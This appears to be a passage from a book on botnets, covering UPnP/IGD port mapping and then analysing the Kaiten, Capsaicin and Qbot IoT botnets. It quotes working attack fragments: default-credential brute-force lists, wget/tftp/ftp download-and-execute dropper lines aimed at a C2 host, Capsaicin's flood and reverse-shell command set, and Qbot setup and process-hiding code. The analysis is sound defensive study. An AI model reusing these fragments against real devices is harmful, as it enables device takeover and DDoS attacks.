The UPnP Device Architecture [17] defines the protocols for communication
between controllers, or control points, and devices. The protocol stack consists of
six steps: discovery, description, control, eventing, presentation, and the optional
addressing step. The UPnP discovery protocol, also known as “SSDP” (Simple
Service Discovery Protocol) is UDP-based and by default uses port 1900 to send
discovery messages to the multicast address 239.255.255.250. SSDP uses part of
the HTTP 1.1 header field format as defined in RFC 2616 but is not based on
the full HTTP 1.1 as it uses UDP instead of TCP and has its own processing
rules. The first line in SSDP messages is one of the following three: NOTIFY *

HTTP/1.1, M-SEARCH * HTTP/1.1 or HTTP/1.1 200 OK.

Example SSDP discovery message [18]:

M-SEARCH * HTTP/1.1

HOST: 239.255.255.250:1900

MAN: ssdp:discover

MX: 10

ST: ssdp:all

All UPnP devices on the same network segment are required to respond to
discovery messages by sending a similar UDP message using unicast with as
destination IP the source IP of the discovery UDP packet:
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HTTP/1.1 200 OK

CACHE-CONTROL:max-age=1800

EXT:

LOCATION:http://192.168.0.1:80/IGD.xml

SERVER:SpeedTouch 510 4.0.0.9.0 UPnP/1.0 (DG233B00011961)

ST:urn:schemas-upnp-org:service:WANPPPConnection:1

USN:uuid:UPnP-SpeedTouch510::urn:schemas-upnp-org:service:

WANPPPConnection:1

The above example is an edited response sent by an Alcatel/Thomson Speed-
Touch ADSL modem implementing the WANPPPConnection profile [18].

UPnP capable devices or programs send a notification message to announce
their services at regular intervals. A notification message is more or less the same
as a response message to a discovery but are sent to the UPnP multicast address
239.255.255.250 on port UDP/1900.

UPnP provides many standardized profiles, one of which is the IGD profile
(UPnP-IGD). UPnP-IGD implements specific behavior allowing networked
devices to manage and control the behavior of internet security gateways. Every
implemented profile on a device describes itself and its services through an XML
service point. The response message from the discovery phase (see above example)
contains a header called LOCATION, which points to the URL where an XML
formatted description can be downloaded. It describes the profile that the device
or program implements, specifically the URLs that the control and eventing step
should send commands to and optionally other meta information about a device,
including device manufacturer, model name, model number, serial number, etc.

The third step in the UPnP protocol stack is “control,” which allows any
device or program to request an action on its behalf. The control protocol is
implemented using SOAP and communicates over HTTP with XML to describe
remote procedure calls. The protocol by default runs over port TCP/5000.
A SOAP formatted request is send to the control URL as provided in the
description document and encodes method names and arguments according to
the profile’s service description the request is addressed to. The < service >tag

from a Thomson SpeedTouch 510 for the WANPPPConnection profile for
example [18] looks like:

<service>

<serviceType>urn:schemas-upnp-org:service:WANPPPConnection:1

</serviceType>

<serviceId>urn:upnp-org:serviceId:wanpppc:pppoa</serviceId>

<controlURL>/upnp/control/wanpppcpppoa</controlURL>

<eventSubURL>/upnp/event/wanpppcpppoa</eventSubURL>

<SCPDURL>/WANPPPConnection.xml</SCPDURL>

</service>

SOAP requests to control the WAN PPP connection of the modem in the
previous example should be sent to the URL listed in the “controlURL” tag. The
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service description URL listed in the “SCPDURL” tag describes the SOAP
methods that can be performed and what the state variables are for the profile.

Many consumer routers and broadband cable or DSL modems implement the
UPnP IGD profile. The IGD profile [19] consists of many subprofiles but the ones
that are interesting from a security perspective are LANHostConfigManagement

and WANIPConnection/WANPPPConnection. The LANHostConfigManagement
profile allows a program to query and set parameters related to the DHCP and
DNS configuration of the router or modem. The WANIPConnection and
WANPPPConnection profiles allow programs to adapt firewall rules, among
other things.

IP cameras, game consoles, set-top boxes, and BitTorrent clients are some of
the clients that use actions defined in the IGD sub-profiles WANPPPConnection
(ADSL modems) and WANIPConnection (IP routers) to create pinholes in the
firewall policies of these devices. Pinholes are used to allow external (public
internet) devices to connect through a dynamically configured forwarded port to
the internal port of the device that sits behind the Network Address Translation
(NAT) gateway. To achieve this, the devices use the methods AddPortMapping
and DeletePortMapping of the corresponding UPnP IGD sub-profile. AddPort-
Mapping adds a port mapping to the gateway’s firewall configuration while
DeletePortMapping removes a previously configured port mapping. These methods
are implemented as SOAP requests and described previously.

The AddPortMapping method is the command that allows a client (device) on
the private network segment (LAN) to request that its firewall opens a port on
the public internet (WAN) and forwards external traffic from that specific port to
the client. The arguments for the AddPortMapping method are:

■ NewRemoteHost: can be used to restrict the port mapping for just one
specific external (public internet) host; rarely used in practice

■ NewExternalPort: the TCP or UDP port on the WAN side of the router,
which should be forwarded

■ NewProtocol: “TCP” or “UDP”
■ NewInternalPort: the port on the client to which incoming traffic shall be

forwarded
■ NewInternalClient: the IP of the client to which incoming traffic shall be

forwarded
■ NewEnabled: tells the router/modem to enable the port mapping; in

practice, this is always set to “True”
■ NewPortMappingDescription: a human-readable string describing the rule
■ NewLeaseDuration: how long the router/modem should keep the port

mapping active; in practice this is often set to “0” (unlimited)
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The DeletePortMapping SOAP command takes three arguments that uniquely
describe a previously defined port mapping that should be deleted:

■ NewRemoteHost
■ NewExternalPort
■ NewProtocol

The IGD WANIPConnection and WANPPPConnection profile specifications
allow any control point to use AddPortMapping to forward ports to other
machines on the LAN. While it provides convenience, when implemented
incorrectly and exposed to the public internet, it makes for an easy hack that
can be leveraged to expose internal file servers, printers, and other systems or
devices to the internet. The more recent IGD2 specification (dated Septem-
ber 2010) recommends that unauthenticated and unauthorized control points are
only allowed to invoke the AddPortMapping method with NewExternalPort and
NewInternalPort values greater than or equal to 1024 and a NewInternalClient
value, which equals the control point’s IP address. Unfortunately, we know how
recommendations get treated when under time and resource pressure.

2.3 Blueprint of an IoT Botnet
IoT botnets found their origins in Unix-based malware and by the end of 2018
these “IoT born” botnets were starting to explore opportunities in cloud-based
servers, servers that are running the same accessible operating system: Linux.
There is not much of a distinction between the originally named “thingbot-nets”
or IoT botnets and the more generic Unix botnets. IoT bots might implement
some device-specific handling and exploits but mostly rely on the same architec-
ture and leverage the same services and techniques for spreading.

Most IoT botnets consist of a C2 infrastructure, a central body of one or more
servers whom bots check in regularly or are continuously connected. IRC botnets
make use of existing IRC infrastructure or roll their own private IRC servers to
communicate with the bots. To add more functionality on the server side, for
example, exploiting and loading malware onto victims or providing multi-tenant
access, botnets started implementing their proper services and use custom protocols
to exchange information and control the members of the botnet. There are excep-
tions on this centrally commanded and controlled architecture, for example, dis-
tributed peer-to-peer botnets and sentinel-based botnets, which can operate without
a central instance and making them more resilient and much harder to take down,
but also more complicated to design and implement correctly.

To be useful, a C2 infrastructure needs something to control. The botnet
needs to be bootstrapped, meaning that at least few bots need to be recruited to

44 ■ Botnets



form a network of managed or controlled bots. The process of recruiting a new
bot member involves several steps:

■ Discover a new potential victim through scanning the internet
■ Exploit a vulnerability to get access to the device
■ (Down)load and execute the bot malware
■ Protect the newly gained resource from being taken over by competing

botnets
■ Check in with the C2 server and be ready to process commands

Once a new bot member has checked in with its C2 server, it allows itself to be
directed to perform specific tasks such as:

■ scanning for new potential victims
■ performing DoS attacks
■ crypto mining
■ starting proxy or SOCKS servers

The tasks a C2 server can instruct are governed by what has been coded into the
bots and is typically referred to as the payload of the bot. Some bots such as
Hajime and VPNFilter provide a modular plugin architecture that can download
extension modules from C2 servers to increase or update their payload capabil-
ities. Some bots also have the ability to self-upgrade.

Every stage, from exploit, infection, execution up to communication with the
C2 infrastructure, is subject to evasive techniques. The evasive measures in
a botnet define the sophistication of the botnet and the malicious agent. IoT
botnets, by nature, are very much unsophisticated, yet extremely efficient and
lethal. Most IoT botnets do not care to implement update or extension modules;
they prefer just to orphan their member bots and rebuild a new bot army using
the efficient spreading mechanisms. It does not pay off to spend time and
resources updating and modularizing code if one can amass hundreds of thou-
sands of devices in a matter of days.

Integrating or renting out control of the botnet for booter and stresser
portals requires some sort of API. Most APIs in use in IoT botnets are very basic
and limited. Some only provide a command line interface (CLI) through telnet
on a specific port, providing access for a single user and using credentials that are
hardcoded in the server and require recompilation to add or change users and
passwords. Others were designed with multi-tenancy in mind and allow botnet
owners (bot-herders) to rent parts of their botnets to customers. Through time-
slicing on shared bots or by sharding the botnet in smaller partitions, multiple
customers are able to perform concurrent attacks. Every feature has its price and
one should keep in mind that in developing botnets the return on the investment
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should be high enough to match the risk. Low margins are not attractive and
won’t get people cross the ethical threshold and perform illegal activities, whether
that is developing and selling software and services or operating a botnet for
profit. Some organized groups plan and run campaigns that are longer than just
a few weeks or months and these have the return to invest in new sophisticated
features that will enable them to continue their campaign and increase their
activities over time.

There are those botnets such as Hajime and BrickerBot that were created
by supposedly gray or white hats and which are at a higher level of
sophistication. Their primary purpose is not making profit but researching or
acquiring status and acknowledgment by a community for their actions and
knowledge.

Another category of sophisticated botnets where profit is not the primary
driver and where budget for research and development is not an objection are
those created and maintained by government-sponsored agents and which are
considered defensive and offensive weapons in a cyber war. The VPNFilter
botnet is supposedly an example of the latter. The rest of this section is an
attempt to illustrate the evolution of IoT botnets through some real-world
samples. While the evolution tries to follow a historical timeline, do keep in
mind that each of the discussed botnets have spawned more recent and
improved versions that are still leveraged in current and potentially future
malicious activities, either in their original form with added features and
enhancements or parts of their code in new botnet strains. It is not the author’s
intention to provide an exhaustive list of botnet families and characteristics, but
rather take the reader on a journey to understand the mechanics of botnets. For
an extensive review of DDoS capable IoT malwares and a taxonomy of botnet
structures, please refer to [20] and [21].

2.3.1 Kaiten

Kaiten is an IRC botnet and goes back to as early as 2001 [22]. A popular
botnet used across time and internet, known for enslaving Linux systems and
leveraging them for DDoS attacks. Moving from server or desktop Linux to
a version of Linux running embedded in resource-constrained devices such as
routers and IP cameras is fairly seamless. Kaiten consists of a client malware,
the bot, which connects to an IRC server whose location is hardcoded in the
client. The client checks itself in with a random IRC nick and identity and
joins an IRC channel, also hardcoded in the client, allowing the bot herder to
control individual bot members or the whole botnet through an off-the-shelf,
ready-to-go IRC client.
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2.3.1.1 Setup, Scanning, and Infection

Bots are harvested from a centralized server. Kaiten typically uses a Python script
of which examples can be found in public repositories under the names “infect.
py” or “scanner.py”. These scripts allow the discovery and exploitation of new
victims and distribution of malware binaries for multiple victim architectures.
The HeavyAidra “infect.py” script, for example, exploits servers and devices
through SSH credential brute force. A bot herder needs to cross-compile the
malware binaries and make them accessible using an HTTP server while adapting
the configuration parameters in the script to match his environment:

files = [ # Files in which we would like to execute upon the routers.

"kaiten-sh4",

"kaiten-powerpc",

"kaiten-mipsel",

"kaiten-mips",

"kaiten-armv5l"

]

website = "123.123.123.123" # Public facing IP hosting the IRC bot binaries.

HeavyAidra uses the popular Paramiko Python module to implement the SSH
brute forcing and ships with a limited list of 14 weak passwords. The list can
easily be extended as needed.

passwords = [ # Some default SSH logins.

"root:root", # This one is the least secure and ironically most effective.

"root:toor",

"admin:admin",

"root:123qwe",

"root:redtube",

"root:admin",

"root:1111",

"test:test",

"root:ferrari",

"root:1q2w3e4r5t",

"root:test",

"root:1234",

"root:1q2w3e",

"root:qwerty"

]

Starting the scan and infection on one of the C2 servers is done through
a simple Unix command:

python infect.py <# scanning threads> <scan range> <IP addr> <fast exploitation>

Upon starting, the Python script will spawn a specified number of scanning
threads and randomly scan the IP range that was passed as an argument through the
command line. Whenever an SSH login attempt succeeds, the script will infect the
compromised victim through downloading one by one, each of the cross-compiled
Kaiten binaries, and trying to execute them. Based on the above configuration, the
commands that will get submitted to each compromised victim are:
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wget http://123.123.123.123/kaiten-sh4 -O /tmp/.kaiten-sh4; chmod + x /tmp/.kaiten-sh4 ; /tmp/.

kaiten-sh4 &

wget http://123.123.123.123/kaiten-powerpc -O /tmp/.kaiten-powerpc; chmod + x /tmp/. kaiten-

powerpc; /tmp/.kaiten-powerpc &

wget http://123.123.123.123/kaiten-mipsel -O /tmp/.kaiten-mipsel; chmod + x /tmp/.kaiten-

mipsel; /tmp/.kaiten-mipsel &

wget http://123.123.123.123/kaiten-mips -O /tmp/.kaiten-mips; chmod + x /tmp/.kaiten-mips;

/tmp/.kaiten-mips &

wget http://123.123.123.123/kaiten-armv5l -O /tmp/.kaiten-armv5l; chmod + x /tmp/.kaiten-

armv5l; /tmp/.kaiten-armv5l &

Note that independent of a victim’s architecture, all commands above will be
attempted without exception. All except the binary matching the architecture of
the victim will fail to execute, leaving the device with a single running bot client.
Not elegant, but effective.

Scan ranges in the Python script include some predefined ranges that can help
improve the detection rate. Some ranges are known to be more efficient because
they contain specific ISP subnets and device types that have been known to
contain the exploited vulnerabilities. Another script, “scanner.py,” which came
with another Kaiten botnet, for example, provides ranges labeled as BRAZIL, ER,
LUCKY, and LUCKY2:

BRAZIL: ["179.105","179.152","189.29","189.32","189.33","189.34","189.35","189.39","189.4",

"189.54","189.55","189.60","189.61","189.62","189.63","189.126"]

ER: ["122","131","161","37","186","187","31","188","201","2","200"]

LUCKY: ["125.27","101.109","113.53","118.173","122.170","122.180","5.78","46.62","122.164"]

LUCKY2: ["122.3","122.52","122.54","119.93"]

2.3.1.2 Client Bot

Once the Kaiten bot client starts executing on a freshly infected device, it will
check in with its IRC server and join the IRC channel that was hardcoded using
a randomly generated nick. At that point, the bot herder can control the new bot
by sending commands as IRC messages, either by broadcasting messages to the
channel for the complete botnet or directing private messages to a specific bot
using the nick.

KaitenSTD is a basic variant of Kaiten used exclusively to perform UDP flood
DDoS attacks. More elaborate and improved versions of IRC botnets appeared
over time, and one of the more recent versions, going by the name of Capsaicin
and code claimed by Milenko aka Freak, comes with an impressive range of
commands and attacks. Capsaicin is a modern take on the Kaiten botnet, hacked
together from various branches of Kaiten and adding new features such as:

1. one-line and interactive shells
2. telnet or Dropbear SSH backdoors
3. ability to update the bot over HTTP
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4. “HacPkg”, a custom installation packaging format allowing binaries such as
wget and tftp to be packaged and installed with all their dependencies

5. ability to perform nmap scans

Capsaicin carries a malicious payload consisting of 17 different DDoS methods,
among others, amplification attacks leveraging DNS, NTP, Quake3, and SNMP,
several spoofed and non-spoofed UDP flooders, TCP flooders, a TCP connection
flood, and attacks such as Sockstress, Targa3, and Blacknurse.

Sockstress—a DoS attack aimed at TCP servers. The implementation
uses raw sockets to establish many TCP connections to a listening
service. The use of raw sockets allows many connections to be estab-
lished from the attacking host without keeping connection state. The
asymmetric resource consumption between attacker and victim allows
much weaker attackers to bring down quite capable servers. In the case
of some observed botnets, however, the Sockstress implementation does
not leverage raw sockets. It does not even use non-blocking sockets but
builds a simple socket connection that times out and gets rebuilt in
a tight loop. These botnets do not use the efficiency of raw sockets, but
they do leverage their power by numbers; thousands of bots all simulta-
neously performing socket connections to a single target victim can,
given enough bots, get any size server to its knees. A more efficient
program using non-blocking sockets could create the same impact from
a single or only a handful of servers, but would be much harder to
implement correctly. Using a simple algorithm and leveraging the
power of many distributed compute nodes, Sockstress is very effective
and easy to add to existing or new bots.

Targa3—a DoS attack aimed at systems with IP stack vulnerabilities.
Targa3 sends random malformed IP packets causing certain IP stacks to
crash or act unexpectedly. Malformed IP packets consist of invalid
fragmentation, protocol, packet size, header values, options, offsets, TCP
segments, and routing flags. When a victim’s TCP stack receives the
invalid packets, the kernel has to allocate resources to handle those
packets. Given enough malformed packets, the system will crash from
exhausting its resources.

Blacknurse—a DoS attack based on a vulnerability discovered in lower-
end and some high-end firewalls, causing excessive CPU usage given
only limited attack volumes. The attack is triggered by a 15–18 Mbps or
about 40k to 50k packets per second flood of ICMP Type 3 Code 3 (port
unreachable) packets. The result on a vulnerable firewall is typically high
CPU loads causing the device to stop forwarding packets or creating new
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sessions. ICMP unreachable packets use the first few bytes of the payload
to encode an error that a firewall can use to determine if a legitimate
packet caused the error or not. However, in doing so, the firewall will
have to match the packet information in the payload against established
sessions and that directly translates in CPU time; even for hardware
(ASIC)-based firewalls this is an issue since new sessions and unreachable
packets need to be passed to the control plane running on generic CPUs
to perform the policy or session match. Most ICMP flood attacks are based
on ICMP Echo (Type 8 Code 0) and referred to as ping flood attacks. Ping
flood attacks deny the service through excessive bandwidths filling up
internet pipes. The Blacknurse attack however only needs a limited
volume of 15–18 Mbps of ICMP Type 3 Code 3 packets to disrupt an
internet street.

Capsaicin embeds the ability to perform decentralized scans and exploits using 79
common and default credential combinations. It uses a pseudo-random IP range
generator that is identical to the one used in Mirai. All cracked telnet logins and
successful infections by the bot are reported to the main IRC channel. The bot also
contains a botkiller, which works based on the process name of known competing
bots, looks up their names in the process table, kills them, and, if there is a trace of
them in the file system, removes them permanently. The botnet supports 15 different
victim architectures. The bot’s nicknames used to join the IRC servers are build using
the victim’s architecture and are in the format PREFIX|ARCHITECTURE|RANDOMID
(e.g., BOT|MIPS|Jg6duf or BOT|x86_64|kA79aLoI), making it easy to issue
commands using nick wildcards to target specific platforms (e.g., !BOT|x86_64
UPDATE http://server/mybot-x86_64).

The Capsaicin bots have an impressive number of features that can be
controlled centrally through the commands listed below:

Non-spoof/non-root attacks: (can run on all bots)

STD <ip> <port> <time> = A non spoof UDP HIV STD flooder

HOLD <host> <port> <time> = A vanilla TCP connection flooder

JUNK <host> <port> <time> = A vanilla TCP flooder (modded)

UNKNOWN <target> <port, 0 for random> <packet size, 0 for random> <secs> = Another non-spoof udp

flooder

HTTP <method> <target> <port> <path> <time> <power> = An extremely powerful HTTP flooder

WGETFLOOD <url> <secs> = An HTTP ( S) flooder

Spoof/ root attacks: (require bot running with root privileges)

PAN <target> <port> <secs> = A SYN flooder

TCP <target> <port> <time> <flags/method> <packetsize> <pollinterval <threads> = An advanced

spoofed TCP flooder. Multithreading and xmas, usyn methods/Synth Mesc.

UDP <target> <port> <secs> = An UDP flooder

PHATWONK <target> <flags/method> <secs> = A leet flooder coded by Milenko, attacks 31 ports.

Can set flags or attack method .

Server kill attacks:
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SOCKSTRESS <ip>:<port> <interface> -s <time> [- p payload] [- d delay] = Sockstress. TCP / IP

stack ’exploit’. Has been known to brick servers.

BLACKNURSE <target ip> <secs> = An ICMP flooder that will crash most firewalls, causing them to drop

packets.

TARGA 3 <ip1> [ ip2 ] ... [-s seconds] = Targa3 attack. TCP stack fuzzer. Can attack up to 200 hosts

at once. Will bypass most filters and crash old machines.

Amplification attacks:

NTP <target IP> <target port> <reflection file url> <threads> <pps limiter,

-1 for no limit> <time> = A DrDoS flooder using the NTP protocol

DNS <IP> <port> <reflection file url> <threads> <time> = DNS DrDoS flooder

QUAKE 3 <target IP> <target port> <reflection file url> <threads> <pps limiter, -1 for no limit>

<time> = A DrDoS flooder using the Quake3 protocol

SNMP <IP> <port> <reflection file url> <threads> <pps limiter, -1 for no limit> <time> = SNMP DrDoS

flooder. Extremely fucking insane amp factor !!! (600 - 1700 x)

Bot commands:

SCANNER <ON/OFF> = Toggles scanner. Started automatically.

PROXYFLUX = Fast - flux Proxy . Disabled . for now ;)

GETIP <interface> = Get current knight IP from interface

DNS 2IP <domain> = Get IP address from domain

RNDNICK = Randomizes knight nickname

NICK <nick> = Changes the nick of the client

SERVER <server> = Changes servers

GETSPOOFS = Gets the current spoofing

SPOOFS <subnet> = Changes spoofing to a subnet

DISABLE = Disables all packeting from the knight

ENABLE = Enables all packeting from the knight

KILL = Kills the knight

GET <http address> <save as> = Downloads a file off the web

VERSION = Requests version of knight

KILLALL = Kills all current packeting

HELP = Displays this

IRC <command> = Sends this command to the server

SH <command> = Executes a command

BASH <command> = Run a bash command

ISH <command> = Interactive SH (via privmsg)

SHD <command> = Daemonize command

UPDATE <http:// server/ bot> = Update this bot

HACKPKG <http:// server/ bin> = Install binary (no dependencies)

INSTALL <http:// server/ bin> = Install binary (via wget)

BINUPDATE <http:// server/ bin> = Update a binary (via wget)

SCAN <nmap opts> = Call an nmap wrapper script

GETSSH <http: serverdropbear> = Install dropbear, run on port 30022

RSHELL <ip port> = Equates to nohup nc ip port

GETBB <tftp server> = Get a proper busybox (via tftp)

LOCKUP <http:// server/ bin> = Kill telnet, install a backdoor!

Credits and authors of the Capsaicin bot referred to above:

* In memory of David Bowie, because he was an awesome musician and *

* passed during the early development of this bot. By ShellzRuS and *

* all the other developers that have worked on Kaiten over the last *

* 20 years. *

* *

* "Hacking on kaiten is a right of passage" - - Kod *

**********************************************************************

* #NullzSec #kektheplanet *

* *
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* - come on irc. anonplus. org - Leonidus, IrishSec, Milenko *

* *

* * NEW * Setup tutorial! https:// pastebin.com/FXhvpn0D *

* *

* Kaiten variant coded by Milenko aka Freak *

* HACK THE PLANET *

* *

* Donate BTC so i has moar monies ^_^ THX *

* 1D7GMefDEoUdashTHXxC929Au3n896YLuw *

* *

* All code will be updated here. To contribute message me on Jabber *

* Jabber/XMPP: milenko@ 420 blaze.it *

* Code was last updated on: Saturday, April 15 th, 2017 *

2.3.2 Qbot

Qbot, also known as Lizkebab, Gafgyt, Torlus, and BASHLITE, is one of the least
sophisticated bots. Still, it was extensively used by groups like Lizard Squad and
Poodle Corp for victimizing IoT devices and building botnets to perform
devastating DDoS attacks. The botnet’s power was rented to individuals through
accessible booter or stresser portals that command the botnet using a command-
line API. Unlike Kaiten and other IRC type botnets, Qbot uses a purpose
build C2 protocol and server. Qbot also adds the ability for distributed
scanning and discovery of new potential victims by its botnet members. The
ELF4 version of Qbot is not to be confused with W32.Qbot (aka Qakbot or
PinkSlip). The latter was a Windows backdoor trojan known to target businesses and
drain their online banking accounts through spying on users’ banking activity. The
Qbot client and server components are written in C and are both self-contained source
files (client.c and server.c), which are statically compiled into an executable that
can be distributed without further dependencies or libraries. A Python setup script
cc7.py comes with the botnet providing fully automated build and configuration of
the download server. The cc7.py script is not Qbot-specific and has been bundled
with different botnets to automate the cross-compilation and building of multi-
platform bots as well as installing and configuring the required services on a freshly
installed Linux server.

2.3.2.1 Setup

Upon running the server build script cc7.py, any required cross compilers to
build the malware are downloaded and used to compile client.c for 13 target
architectures: ARMv4, ARMv5, ARMv6, i586, x86-32, x86-64, MIPS, MIPSEL,
Sparc, m68k, PowerPC, PowerPC 440 with hardware floating point, and SuperH.

4 Executable and Linkable Format use for Linux executables
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The multi-platform binaries are masqueraded using well-known Unix process
names:
compileas = [

"ntpd", #mips

"sshd", #mipsel

"openssh", #sh4

"bash", #x86

"tftp", #armv6l

"wget", #i686

"cron", #ppc

"ftp", #i586

"pftp", #m68k

"sh", #sparc

"’ ’", #armv4l

"apache2", #armv5l

"telnetd"] #ppc -440fp

The script then installs the required HTTP, FTP, and TFPT services that will
provide the distribution of binaries:

run("yum install httpd -y")

run("service httpd start")

run("yum install xinetd tftp tftp - server -y")

run("yum install vsftpd -y")

run("service vsftpd start")

Setup continues by configuring the installed services and restarting them to
apply their new settings:

run (’’’ echo -e \# default: off

# description: The tftp server serves files using the trivial file transfer

# protocol. The tftp protocol is often used to boot diskless \
# workstations, download configuration files to network - aware printers, \
# and to start the installation process for some operating systems.

service tftp

{

socket_type = dgram

protocol = udp

wait = yes

user = root

server = / usr/ sbin/ in. tftpd

server_args = -s -c / var/ lib/ tftpboot

disable = no

per_source = 11

cps = 100 2

flags = IPv4

}

" > / etc/ xinetd . d/ tftp ’’’)

run ("service xinetd start")

run (’’’ echo -e " listen=YES

local_enable=NO

anonymous_enable=YES

write_enable=NO

anon_root=/var/ftp

anon_max_rate=2048000

xferlog_enable=YES
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listen_address= ’’’+ ip + ’’’

listen_port = 21" > /etc/vsftpd /vsftpd-anon.conf ’’’)

run ("service vsftpd restart")

At this point, the multi-platform binaries are copied and moved into the
respective directories that are published by the HTTP, TFTP, and FTP services:

for i in compileas:

run("cp " + i + " /var/www/html")

run("cp " + i + " /var/ftp")

run("mv " + i + " /var/lib/tftpboot")

To facilitate the loading process for the malware droppers, four scripts are
generated matching the three supported download methods (HTTP, TFTP,
and FTP):

/var/www/html/bins.sh

/var/ftp/ftp1.sh

/var/lib/tftpboot/tftp1.sh

/var/lib/tftpboot/tftp2.sh

Each script contains a sequence of command lines, which downloads and
attempts to execute every cross-compiled binary, much the same as in the Kaiten
dropper case:

for i in compileas:

run (’ echo -e "cd /tmp || cd/var/run || cd/mnt || cd/root || cd /; wget http ://’ + ip + ’/’ + i + ’;

chmod + x ’ + i + ’; ./’ + i + ’; rm -rf ’ + i + ’" >> / var/www/html/bins.sh ’)

run (’ echo -e "cd /tmp || cd/var/run || cd/mnt || cd/root || cd /; ftpget -v -u anonymous -p

anonymous -P 21 ’ + ip + ’ ’ + i + ’ ’ + i + ’; chmod 777 ’ + i + ’ ./’ + i + ’; rm - rf ’ + i + ’" >> /var/

ftp/ftp1.sh ’)

run (’ echo -e "cd /tmp || cd/var/run || cd/mnt || cd/root || cd /; tftp ’ + ip + ’ -c get ’ + i + ’; cat

’ + i + ’ > badbox ; chmod + x *;./ badbox " >> / var/lib/tftpboot/tftp1.sh ’)

run (’ echo -e "cd /tmp || cd/var/run || cd/mnt || cd/root || cd /; tftp -r ’ + i + ’ -g ’ + ip + ’; cat ’ +

i + ’ > badbox ; chmod + x *;./ badbox " >> / var/lib/tftpboot/tftp2.sh ’)

The motivation behind fully automated setup scripts originates from the
trading performed by malware developers on forums. Malicious agents were
providing improved versions of Qbot to other agents that were running the
botnet and hosting booter and stresser services to perform DDoS attacks at scale.
Some malware developers sold source code but quickly found that there is no
honesty among thieves and found their code leaked and re-used. Soon botnet
developers moved to providing installation services and sell their botnets as turn-
key services, installing and configuring their botnets on customer-provided
servers. A fully automated setup script accelerates this process.

2.3.2.2 Scanning and Infection

All that is left to the bot herder is to compile and start the C2 server component
server.c and bootstrap his botnet. Bootstrapping can be done by either manually
infecting a vulnerable device, starting the malware on the server and allowing it to
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scan and infect, or using a script such as infect.py to perform SSH brute forcing
of a few seed devices. Once the botnet is bootstrapped with a handful of devices, it
will grow itself organically through scanning and infection methods that are built
into the bots. The distributed nature of scanning and infecting provides for a fast,
near exponential, growth of the botnet and ensures a self-sustained ecosystem that
can grow itself over time. Even when attacked and part of the botnet compromised
by competing botnets, as long as a few devices remain, the botnet will be able to
regain new victims and fight the competition for its existence.

2.3.2.3 Client Bot

Upon starting, the bot changes its process table entry with a hardcoded string to
obfuscate its presence. To that end, Qbot overwrites the original command line name
through the argv[0] variable and uses a prctl(PR_SET_NAME) call to change its
process table entry. The below code illustrates this by changing the process name from
the original binary name to “dropbear.” Dropbear is a popular open-source SSH client
and server with a very small footprint, a popular choice for SSH server among
embedded Linux systems. By masquerading as Dropbear, the process virtually hides
from searches by competing bots and even if they would suspect a malware to be hiding
behind the “dropbear” process, there is always the risk to terminate the controlling
terminal or SSH connection by killing the process. A well-considered choice.

char *mynameis = "/usr/sbin/dropbear";

strncpy (argv[0],"", strlen (argv[0]));

argv[0] = "/usr/sbin/dropbear ";

prctl(PR_SET_NAME, (unsigned long)mynameis, 0, 0, 0);

After hiding its process, the bot creates a TCP connection to the C2 server.
The bot supports multiple C2 servers and will round-robin through any of the
hardcoded servers until it finds one that is responding. When a C2 server closes
the connection, the bot will reconnect to the next C2 server in this server list,
making the bot more robust against loss of C2 servers. The bot initiates the
communication by identifying itself with the string BUILD platform where
platform was defined at (cross-)compile-time using #define pre-processor state-
ments. The reported platform can either be MIPS, MIPSEL, X86, ARM, or PPC,
in other architectures the bot will always report DONGS.

char *getBuild ()

{

# ifdef MIPS_BUILD

return "MIPS";

# elif MIPSEL_BUILD

return "MIPSEL";

# elif X86_BUILD

return "X86";

# elif ARM_BUILD

return "ARM";
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# elif PPC_BUILD

return "PPC";

# else

return "ONGS";

# endif

}

At this point, the bot goes into a listening loop waiting for commands from
the C2 server. The bot does not start scanning for new victims until the C2 server
explicitly does so using the command !* SCANNER ON. Once instructed to start
scanning, the bot will fork a new process and use pseudo-random generated IP
addresses to scan the internet address space with the exception of IP ranges that
do not make sense to include:

■ 0.0.0.0–0.255.255.255 (software only valid as source address)
■ 10.0.0.0–10.255.255.255 (Private network)
■ 100.64.0.0–100.127.255.255 (Private network)
■ 127.0.0.0–127.255.255.255 (Host loopback range)
■ 172.16.0.0–172.31.255.255 (Private network)
■ 192.168.0.0–192.168.255.255 (Private network)
■ 192.0.2.0–255 (TEST-NET-1)
■ 192.88.99.0–255 (Reserved, formerly used for IPv6 to IPv4 relay)
■ 198.18.0.0–198.19.255.255 (Private network)
■ 198.51.100.0–255 (TEST-NET-2)
■ 203.0.113.0–255 (TEST-NET-3)
■ 224.0.0.0–239.255.255.255 (IP multicast)
■ 240.0.0.0–255.255.255.254 (Reserved for future use)
■ 255.255.255.255 (broadcast destination address)

The scan process will initiate 4092 or three fourth of the maximum number of
supported open file handles per process, whatever number is larger, concurrent
TCP connections to port 23 of pseudo randomly generated IPs. For each
successful telnet connection, the process tries to get access to the command line
by using every permutation defined in the usernames[] and passwords[]

arrays, which are hardcoded in client.c, basically brute forcing its way into the
victim:

char *usernames[] = {"root\0", "admin\0", "user\0", "login\0 ", "guest\0", "support\0"};

char *passwords[] = {"root\0", "toor\0", "admin\0", "user\0", "guest\0", "login\0", "changeme

\0", "1234\0", "12345\0", "123456\0", "default\0", "\0", "password\0", "support\0"};

The send and receive timeout settings for the TCP connections are tuned
down to 5 seconds. Allowing faster timeouts will improve the scanning speed for
those IPs that do not respond to the TCP SYN request, which will the majority
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of IPs scanned given the fact that the bot is randomly scanning the internet.
Lowering the timeouts results in four times faster scanning compared to the
default 20 seconds timeout delay.

If the bot finds a working pair of credentials and was able to get access to the
victim’s CLI, the bot sends the command sh followed by a hardcoded string that
can be customized through the infectline variable. By default infectline
contains:

" cd /tmp || cd /var/run || cd /mnt || cd /root || cd /;

wget http://[commserverip]/bins.sh;

chmod 777 bins.sh;

sh bins.sh;

tftp [commserverip] -c get tftp1.sh;

chmod 777 tftp1.sh;

sh tftp1.sh;

tftp -r tftp2.sh -g [commserverip];

chmod 777 tftp2.sh;

sh tftp2.sh;

ftpget -v -u anonymous -p anonymous -P 21 [commserverip] ftp1.sh ftp1.sh;

sh ftp1.sh;

rm -rf bins.sh tftp1.sh tftp2.sh ftp1.sh; rm -rf *;

exit\r\n";

The above is a single command line string but was reformatted for clarity by
the author.

The command looks for the existence of /tmp, /var/run, /mnt or /root. If
none exists or was not accessible, the command will change the current working
directory to “/”. All mentioned directories are known to be good candidates for
finding a writable one. The command then tries to download “bins.sh” from its
download server using the “wget” command. If “wget” does not exist or fails to
download “bins.sh”, the command falls back to “tfpt” and “ftp” download methods.
